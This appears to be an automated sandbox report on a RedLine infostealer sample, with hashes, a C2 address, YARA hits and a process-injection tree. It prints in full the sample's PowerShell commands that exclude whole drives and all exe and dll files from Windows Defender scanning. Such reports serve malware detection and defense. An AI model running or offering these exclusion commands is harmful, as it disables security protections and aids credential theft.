redline | 88d8cfc5408b886989697c951a26e10c7ecd605bdebf3a4218dda7053002b926

General

Target

1921292380.exe
Size

719KB
MD5

0068f1a9d11db46097fae660005c1228
SHA1

1a7fc24cccaa5bfeae87446a22605a0a475bb409
SHA256

88d8cfc5408b886989697c951a26e10c7ecd605bdebf3a4218dda7053002b926
SHA512

75525095421bf3866e4f465ed2ed89759230248ec08064865b6cf0435c254586960ee8c957a06a16a5c4693bd386338ec7554e820d94045674f172c141938a36

Score

10^/10

redline 1.0.2.0 infostealer

Malware Config

Extracted

Family

redline

Botnet

1.0.2.0

C2

185.183.32.227:51498

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 5 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1108-72-0x0000000000400000-0x0000000000432000-memory.dmp	family_redline
behavioral1/memory/1108-73-0x0000000000400000-0x0000000000432000-memory.dmp	family_redline
behavioral1/memory/1108-74-0x0000000000400000-0x0000000000432000-memory.dmp	family_redline
behavioral1/memory/1108-75-0x000000000041B23E-mapping.dmp	family_redline
behavioral1/memory/1108-77-0x0000000000400000-0x0000000000432000-memory.dmp	family_redline

Executes dropped EXE 2 IoCs

Processes:

Madder.exeMadder.exe

pid process

696 Madder.exe
1108 Madder.exe
Loads dropped DLL 3 IoCs

Processes:

cmd.exeMadder.exe

pid process

1748 cmd.exe
1748 cmd.exe
696 Madder.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

Madder.exe

description pid process target process

PID 696 set thread context of 1108 696 Madder.exe Madder.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1540 powershell.exe
780 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1540 powershell.exe
Token: SeDebugPrivilege 780 powershell.exe

pid	process
696	Madder.exe
1108	Madder.exe

pid	process
1748	cmd.exe
1748	cmd.exe
696	Madder.exe

description	pid	process	target process
PID 696 set thread context of 1108	696	Madder.exe	Madder.exe

pid	process
1540	powershell.exe
780	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	780	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

1921292380.execmd.execmd.exeMadder.exe

description	pid	process	target process
PID 368 wrote to memory of 772	368	1921292380.exe	cmd.exe
PID 368 wrote to memory of 772	368	1921292380.exe	cmd.exe
PID 368 wrote to memory of 772	368	1921292380.exe	cmd.exe
PID 368 wrote to memory of 772	368	1921292380.exe	cmd.exe
PID 368 wrote to memory of 1748	368	1921292380.exe	cmd.exe
PID 368 wrote to memory of 1748	368	1921292380.exe	cmd.exe
PID 368 wrote to memory of 1748	368	1921292380.exe	cmd.exe
PID 368 wrote to memory of 1748	368	1921292380.exe	cmd.exe
PID 772 wrote to memory of 1540	772	cmd.exe	powershell.exe
PID 772 wrote to memory of 1540	772	cmd.exe	powershell.exe
PID 772 wrote to memory of 1540	772	cmd.exe	powershell.exe
PID 772 wrote to memory of 1540	772	cmd.exe	powershell.exe
PID 1748 wrote to memory of 696	1748	cmd.exe	Madder.exe
PID 1748 wrote to memory of 696	1748	cmd.exe	Madder.exe
PID 1748 wrote to memory of 696	1748	cmd.exe	Madder.exe
PID 1748 wrote to memory of 696	1748	cmd.exe	Madder.exe
PID 696 wrote to memory of 1108	696	Madder.exe	Madder.exe
PID 696 wrote to memory of 1108	696	Madder.exe	Madder.exe
PID 696 wrote to memory of 1108	696	Madder.exe	Madder.exe
PID 696 wrote to memory of 1108	696	Madder.exe	Madder.exe
PID 696 wrote to memory of 1108	696	Madder.exe	Madder.exe
PID 696 wrote to memory of 1108	696	Madder.exe	Madder.exe
PID 696 wrote to memory of 1108	696	Madder.exe	Madder.exe
PID 696 wrote to memory of 1108	696	Madder.exe	Madder.exe
PID 696 wrote to memory of 1108	696	Madder.exe	Madder.exe
PID 772 wrote to memory of 780	772	cmd.exe	powershell.exe
PID 772 wrote to memory of 780	772	cmd.exe	powershell.exe
PID 772 wrote to memory of 780	772	cmd.exe	powershell.exe
PID 772 wrote to memory of 780	772	cmd.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\1921292380.exe
"C:\Users\Admin\AppData\Local\Temp\1921292380.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:368

C:\Windows\SysWOW64\cmd.exe
cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:772

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1540

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:780

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Users\Admin\AppData\Local\Temp\Madder.exe
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1748

C:\Users\Admin\AppData\Local\Temp\Madder.exe
C:\Users\Admin\AppData\Local\Temp\Madder.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:696

C:\Users\Admin\AppData\Local\Temp\Madder.exe
C:\Users\Admin\AppData\Local\Temp\Madder.exe
4⤵
- Executes dropped EXE
PID:1108

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Madder.exe
MD5
b8c0aa13740f17c223af874f41f446d1

SHA1
d2e9a68e012e5d79852f7c64aee1d3dc28fbfe0e

SHA256
ca165fd69131cf44a31bef8e47dbc7b6ba3f08aae5c6f08e0b6a81bc6ae3f35e

SHA512
f65a2f997fdcf2b3b0a2afdf3446c7f825430e9f96343485309a59e35431b7d362b5dcf499c02a9154bacfdc482f01e7c577fa089c6eb760e53011d4ad84bd2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Madder.exe
MD5
b8c0aa13740f17c223af874f41f446d1

SHA1
d2e9a68e012e5d79852f7c64aee1d3dc28fbfe0e

SHA256
ca165fd69131cf44a31bef8e47dbc7b6ba3f08aae5c6f08e0b6a81bc6ae3f35e

SHA512
f65a2f997fdcf2b3b0a2afdf3446c7f825430e9f96343485309a59e35431b7d362b5dcf499c02a9154bacfdc482f01e7c577fa089c6eb760e53011d4ad84bd2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Madder.exe
MD5
b8c0aa13740f17c223af874f41f446d1

SHA1
d2e9a68e012e5d79852f7c64aee1d3dc28fbfe0e

SHA256
ca165fd69131cf44a31bef8e47dbc7b6ba3f08aae5c6f08e0b6a81bc6ae3f35e

SHA512
f65a2f997fdcf2b3b0a2afdf3446c7f825430e9f96343485309a59e35431b7d362b5dcf499c02a9154bacfdc482f01e7c577fa089c6eb760e53011d4ad84bd2e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
cf16ca6aaf1646677130ad2fc96d2fbc

SHA1
e445b64c7c5a5d6d4c94f23ad921468e102db4bd

SHA256
0b41fce20fb39f1ea755fc52b8b2f5fc0c3b9f857f7f7019b065b98c1185fd5b

SHA512
3b5907e16fb344304c0f3394f0d3ff939e0dc7277093394e37efc514a824e73ee7e699c7516dbd783d3e72db09fcf1101b31b4e6952dfd9a44d87a02ea9e6586

Download Submit
\Users\Admin\AppData\Local\Temp\Madder.exe
MD5
b8c0aa13740f17c223af874f41f446d1

SHA1
d2e9a68e012e5d79852f7c64aee1d3dc28fbfe0e

SHA256
ca165fd69131cf44a31bef8e47dbc7b6ba3f08aae5c6f08e0b6a81bc6ae3f35e

SHA512
f65a2f997fdcf2b3b0a2afdf3446c7f825430e9f96343485309a59e35431b7d362b5dcf499c02a9154bacfdc482f01e7c577fa089c6eb760e53011d4ad84bd2e

Download Submit
\Users\Admin\AppData\Local\Temp\Madder.exe
MD5
b8c0aa13740f17c223af874f41f446d1

SHA1
d2e9a68e012e5d79852f7c64aee1d3dc28fbfe0e

SHA256
ca165fd69131cf44a31bef8e47dbc7b6ba3f08aae5c6f08e0b6a81bc6ae3f35e

SHA512
f65a2f997fdcf2b3b0a2afdf3446c7f825430e9f96343485309a59e35431b7d362b5dcf499c02a9154bacfdc482f01e7c577fa089c6eb760e53011d4ad84bd2e

Download Submit
\Users\Admin\AppData\Local\Temp\Madder.exe
MD5
b8c0aa13740f17c223af874f41f446d1

SHA1
d2e9a68e012e5d79852f7c64aee1d3dc28fbfe0e

SHA256
ca165fd69131cf44a31bef8e47dbc7b6ba3f08aae5c6f08e0b6a81bc6ae3f35e

SHA512
f65a2f997fdcf2b3b0a2afdf3446c7f825430e9f96343485309a59e35431b7d362b5dcf499c02a9154bacfdc482f01e7c577fa089c6eb760e53011d4ad84bd2e

Download Submit
memory/696-60-0x0000000000000000-mapping.dmp

Download
memory/696-63-0x0000000001380000-0x0000000001381000-memory.dmp

Filesize
4KB

Download
memory/696-66-0x0000000004980000-0x0000000004981000-memory.dmp

Filesize
4KB

Download
memory/772-54-0x0000000000000000-mapping.dmp

Download
memory/780-80-0x0000000000000000-mapping.dmp

Download
memory/1108-73-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/1108-74-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/1108-79-0x0000000000660000-0x0000000000661000-memory.dmp

Filesize
4KB

Download
memory/1108-70-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/1108-71-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/1108-72-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/1108-77-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/1108-75-0x000000000041B23E-mapping.dmp

Download
memory/1540-68-0x00000000023A0000-0x0000000002FEA000-memory.dmp

Filesize
12.3MB

Download
memory/1540-62-0x00000000762D1000-0x00000000762D3000-memory.dmp

Filesize
8KB

Download
memory/1540-67-0x00000000023A0000-0x0000000002FEA000-memory.dmp

Filesize
12.3MB

Download
memory/1540-69-0x00000000023A0000-0x0000000002FEA000-memory.dmp

Filesize
12.3MB

Download
memory/1540-56-0x0000000000000000-mapping.dmp

Download
memory/1748-55-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads